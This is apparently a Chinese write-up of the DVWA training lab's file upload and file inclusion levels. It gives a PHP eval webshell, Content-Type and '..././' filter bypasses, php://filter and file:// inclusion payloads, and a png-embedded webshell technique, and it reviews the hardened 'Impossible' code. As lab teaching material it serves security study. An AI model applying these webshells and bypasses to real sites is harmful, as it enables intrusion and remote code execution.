0x01 Low
File Upload
没有任何过滤
直接上传:
<?php @eval($_GET['milin']); ?>
而后构造payload:
http://127.0.0.1/hackable/uploads/2.php?milin=system("dir ..");
File inclusion
看到url:
http://127.0.0.1/vulnerabilities/fi/?page=include.php
发现
page=......
猜测此处应该是文件包含
直接利用php伪协议读源码:
http://127.0.0.1/vulnerabilities/fi/?page=php://filter/read=convert.base64-encode/resource=include.php
利用File Upload中上传的php(本地文件包含):
http://127.0.0.1/vulnerabilities/fi/?page=../../hackable/uploads/2.php&milin=system("dir ..");
0x02 Medium
File Upload
随便上传一个php
发现回显:
Your image was not uploaded. We can only accept JPEG or PNG images.
很好绕过:
抓包后改变文件的Content-Type即可
猜测后端只是检测上传文件的Content-Type
我们改一下包:
Content-Type: image/jpeg
发现上传成功
实际上,我们审计medium的源码:
<?php
if( isset( $_POST[ 'Upload' ] ) ) {
// Where are we going to be writing to?
$target_path = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";
$target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] );
// File information
$uploaded_name = $_FILES[ 'uploaded' ][ 'name' ];
$uploaded_type = $_FILES[ 'uploaded' ][ 'type' ];
$uploaded_size = $_FILES[ 'uploaded' ][ 'size' ];
// Is it an image?
if( ( $uploaded_type == "image/jpeg" || $uploaded_type == "image/png" ) &&
( $uploaded_size < 100000 ) ) {
// Can we move the file to the upload folder?
if( !move_uploaded_file( $_FILES[ 'uploaded' ][ 'tmp_name' ], $target_path ) ) {
// No
$html .= '<pre>Your image was not uploaded.</pre>';
}
else {
// Yes!
$html .= "<pre>{$target_path} succesfully uploaded!</pre>";
}
}
else {
// Invalid file
$html .= '<pre>Your image was not uploaded. We can only accept JPEG or PNG images.</pre>';
}
}
?>
发现此处对Content-Type属性进行判断:
if( ( $uploaded_type == "image/jpeg" || $uploaded_type == "image/png" ) &&
( $uploaded_size < 100000 ) )
所以我们构造“Content-Type: image/jpeg”成功绕过,上传成功
File inclusion
我们同样可以利用Low中的payload读取源码:
http://127.0.0.1/vulnerabilities/fi/?page=php://filter/read=convert.base64-encode/resource=include.php
当我们利用之前上传的php时:
http://127.0.0.1/vulnerabilities/fi/?page=../../hackable/uploads/milin.php&milin=system("dir ..");
出现错误回显:
Warning: include(hackable/uploads/milin.php): failed to open stream: No such file or directory in D:\phpStudy\PHPTutorial\WWW\vulnerabilities\fi\index.php on line 36
Warning: include(): Failed opening 'hackable/uploads/milin.php' for inclusion (include_path='.;C:\php\pear;../../external/phpids/0.6/lib/') in D:\phpStudy\PHPTutorial\WWW\vulnerabilities\fi\index.php on line 36
没有我们所需文件
而文件路径少了目录穿越符号:“../../”
猜测后端对page参数进行了处理
我们验证一下:
我们看一下Low下当访问不存在的文件,看一下回显区别,注意,这里我们只向上穿越一层目录:
http://127.0.0.1/vulnerabilities/fi/?page=../hackable/uploads/milin.php
回显:
Warning: include(../hackable/uploads/milin.php): failed to open stream: No such file or directory in D:\phpStudy\PHPTutorial\WWW\vulnerabilities\fi\index.php on line 36
Warning: include(): Failed opening '../hackable/uploads/milin.php' for inclusion (include_path='.;C:\php\pear;../../external/phpids/0.6/lib/') in D:\phpStudy\PHPTutorial\WWW\vulnerabilities\fi\index.php on line 36
可以看到两次回显不同,第二次回显出现“../”
所以此处应该是对page参数进行处理
猜测是将‘../’替换成空字符
我们构造payload来绕过替换:
http://127.0.0.1/vulnerabilities/fi/?page=..././..././hackable/uploads/milin.php
返回正常,文件包含成功
接下来构造payload利用即可:
http://127.0.0.1/vulnerabilities/fi/?page=..././..././hackable/uploads/milin.php&milin=phpinfo();
看一下源码关键部分:
$file = str_replace( array( "http://", "https://" ), "", $file );
$file = str_replace( array( "../", "..\"" ), "", $file );
实际,此处我们还可以利用远程文件包含:
http://127.0.0.1/vulnerabilities/fi/?page=htttp(s)://服务器_IP/攻击文件
绕过方式和本地包含相同,利用替换来形成正确的URL
0x03 High
File Upload
这里过滤已经很完全了,尝试可以发现几点:
后台检测上传文件后缀采取白名单
后台同时检测上传文件的内容
我们结合源码看一下关键部分:
$target_path = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";
$target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] );
// File information
$uploaded_name = $_FILES[ 'uploaded' ][ 'name' ];
$uploaded_ext = substr( $uploaded_name, strrpos( $uploaded_name, '.' ) + 1);
$uploaded_size = $_FILES[ 'uploaded' ][ 'size' ];
$uploaded_tmp = $_FILES[ 'uploaded' ][ 'tmp_name' ];
// Is it an image?
if( ( strtolower( $uploaded_ext ) == "jpg" || strtolower( $uploaded_ext ) == "jpeg" || strtolower( $uploaded_ext ) == "png" ) &&
( $uploaded_size < 100000 ) &&
getimagesize( $uploaded_tmp ) )
很显然,我们只能上传图像文件
而后台检测getimagesize( $uploaded_tmp ),我们便无法进行截断处理(遇到php返回false),这里我们可以和文件包含漏洞结合起来:
- 首先上传一个正常的png文件
- 抓包后在结尾加入webshell
- 文件包含我们上传的png文件,即可利用png中隐藏的webshell了
下面我们来看一下High下的File inclusion
File inclusion
审计代码:
<?php
// The page we wish to display
$file = $_GET[ 'page' ];
// Input validation
if( !fnmatch( "file*", $file ) && $file != "include.php" ) {
// This isn't the page we want!
echo "ERROR: File not found!";
exit;
}
?>
可以看到包含文件的page参数需要满足:
- 以file开始或者文件是include.php
很显然,我们直接利用file协议即可
构造payload
http://127.0.0.1/vulnerabilities/fi/?page=file:///D:/phpStudy/PHPTutorial/WWW/hackable/uploads/milin.jpg
成功包含
(此处无法使用相对路径,应该是php配置问题,回头再来说明,标记一下)
0x04 Impossible
File Upload
审计代码
<?php
if( isset( $_POST[ 'Upload' ] ) ) {
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
// File information
$uploaded_name = $_FILES[ 'uploaded' ][ 'name' ];
$uploaded_ext = substr( $uploaded_name, strrpos( $uploaded_name, '.' ) + 1);
$uploaded_size = $_FILES[ 'uploaded' ][ 'size' ];
$uploaded_type = $_FILES[ 'uploaded' ][ 'type' ];
$uploaded_tmp = $_FILES[ 'uploaded' ][ 'tmp_name' ];
// Where are we going to be writing to?
$target_path = DVWA_WEB_PAGE_TO_ROOT . 'hackable/uploads/';
//$target_file = basename( $uploaded_name, '.' . $uploaded_ext ) . '-';
$target_file = md5( uniqid() . $uploaded_name ) . '.' . $uploaded_ext;
$temp_file = ( ( ini_get( 'upload_tmp_dir' ) == '' ) ? ( sys_get_temp_dir() ) : ( ini_get( 'upload_tmp_dir' ) ) );
$temp_file .= DIRECTORY_SEPARATOR . md5( uniqid() . $uploaded_name ) . '.' . $uploaded_ext;
// Is it an image?
if( ( strtolower( $uploaded_ext ) == 'jpg' || strtolower( $uploaded_ext ) == 'jpeg' || strtolower( $uploaded_ext ) == 'png' ) &&
( $uploaded_size < 100000 ) &&
( $uploaded_type == 'image/jpeg' || $uploaded_type == 'image/png' ) &&
getimagesize( $uploaded_tmp ) ) {
// Strip any metadata, by re-encoding image (Note, using php-Imagick is recommended over php-GD)
if( $uploaded_type == 'image/jpeg' ) {
$img = imagecreatefromjpeg( $uploaded_tmp );
imagejpeg( $img, $temp_file, 100);
}
else {
$img = imagecreatefrompng( $uploaded_tmp );
imagepng( $img, $temp_file, 9);
}
imagedestroy( $img );
// Can we move the file to the web root from the temp folder?
if( rename( $temp_file, ( getcwd() . DIRECTORY_SEPARATOR . $target_path . $target_file ) ) ) {
// Yes!
$html .= "<pre><a href='${target_path}${target_file}'>${target_file}</a> succesfully uploaded!</pre>";
}
else {
// No
$html .= '<pre>Your image was not uploaded.</pre>';
}
// Delete any temp files
if( file_exists( $temp_file ) )
unlink( $temp_file );
}
else {
// Invalid file
$html .= '<pre>Your image was not uploaded. We can only accept JPEG or PNG images.</pre>';
}
}
// Generate Anti-CSRF token
generateSessionToken();
?>
加入了Anti-CSRF token预防CSRF攻击,每次访问随机生成了一个token,并与用户端token比较:
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
获取后缀名及上传路径:
$uploaded_ext = substr( $uploaded_name, strrpos( $uploaded_name, '.' ) + 1);//获取后缀名
$uploaded_size = $_FILES[ 'uploaded' ][ 'size' ];
$uploaded_type = $_FILES[ 'uploaded' ][ 'type' ];
$uploaded_tmp = $_FILES[ 'uploaded' ][ 'tmp_name' ];
// Where are we going to be writing to?
$target_path = DVWA_WEB_PAGE_TO_ROOT . 'hackable/uploads/'; //上传路径
检验上传文件后缀,最终储存格式,content类型:
if( ( strtolower( $uploaded_ext ) == 'jpg' || strtolower( $uploaded_ext ) == 'jpeg' || strtolower( $uploaded_ext ) == 'png' ) &&
( $uploaded_size < 100000 ) &&
( $uploaded_type == 'image/jpeg' || $uploaded_type == 'image/png' ) &&
getimagesize( $uploaded_tmp ) )
根据上传类型检测,先载入文件再生成文件,用来检查文件内部内容,防止插入代码:
// Strip any metadata, by re-encoding image (Note, using php-Imagick is recommended over php-GD)
if( $uploaded_type == 'image/jpeg' ) {
$img = imagecreatefromjpeg( $uploaded_tmp );
imagejpeg( $img, $temp_file, 100);
}
else {
$img = imagecreatefrompng( $uploaded_tmp );
imagepng( $img, $temp_file, 9);
}
imagedestroy( $img );
删除临时文件,防止攻击者利用临时文件来制造webshell:
// Delete any temp files
if( file_exists( $temp_file ) )
unlink( $temp_file );
其实每一步有临时文件生成的地方最后都对临时文件进行删除(实际这部分代码并没有太看懂,temp_file最后rename后,检测file_exists是在当前文文件下进行检测还是对rename后的文件检测?根据这里的作用,应该是前者,标记一下,姑且先这样理解,最后了解清楚再解决)
抛开这题,临时文件其实是个很危险的东西,尤其根据phpinfo()得到临时文件路径,即使没有上传成功,也可利用临时文件构造webshell
以上审计,其实源码对路径,文件名,类型,文件内部内容都存在判断,基本判断无法绕过
File inclusion
这个代码就很明了了:
<?php
// The page we wish to display
$file = $_GET[ 'page' ];
// Only allow include.php or file{1..3}.php
if( $file != "include.php" && $file != "file1.php" && $file != "file2.php" && $file != "file3.php" ) {
// This isn't the page we want!
echo "ERROR: File not found!";
exit;
}
?>
这里完全依托白名单
只允许page参数为include.php或file1.php或file2.php或file3.php
这是最简单也是最安全的防御方法,无法进行绕过
网友评论